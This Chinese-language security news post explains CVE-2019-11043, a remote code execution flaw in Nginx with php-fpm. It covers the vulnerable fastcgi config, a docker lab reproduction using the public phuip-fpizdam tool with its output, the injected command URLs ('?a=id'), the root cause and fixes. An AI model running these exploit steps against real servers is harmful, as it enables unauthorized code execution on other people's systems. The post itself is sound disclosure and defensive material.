CVE-2019-11043-PHP远程代码执行漏
时间:2019-10-23 20:41 作者:admin 分类: 业界新闻
0x00背景介绍
来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞
0x01漏洞描述
当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。
当fastcgi_split_path_info字段被配置为 ^(.+?.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大
0x02漏洞编号
CVE-2019-11043
0x03受影响版本
当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞
location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
0x4漏洞复现环境:
执行如下命令启动有漏洞的Nginx和PHP:
docker-compose up -d
环境启动后,访问http://your-ip:8080/index.php即可查看到一个默认页面。
0x5漏洞复现
使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包:
$ go run . "http://your-ip:8080/index.php" 2019/10/23 19:41:00 Base status code is 200 2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate 2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] 2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect 2019/10/23 19:41:02 Trying to set "session.auto_start=0"... 2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/10/23 19:41:02 Performing attack using php.ini settings... 2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/23 19:41:02 Trying to cleanup /tmp/a... 2019/10/23 19:41:02 Done!
可见,这里已经执行成功。
我们访问http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行:
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id
时需要多访问几次,以访问到被污染的进程。
0x6漏洞刨析
因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150
进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。
0x07修复建议
- 修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
- 暂停使用 nginx+php-fpm 服务
- 根据自己实际生产环境的业务需求,将以下配置删除
fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info;
参考:
https://twitter.com/ahack_ru/status/1186667192139636740
https://github.com/neex/phuip-fpizdam
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043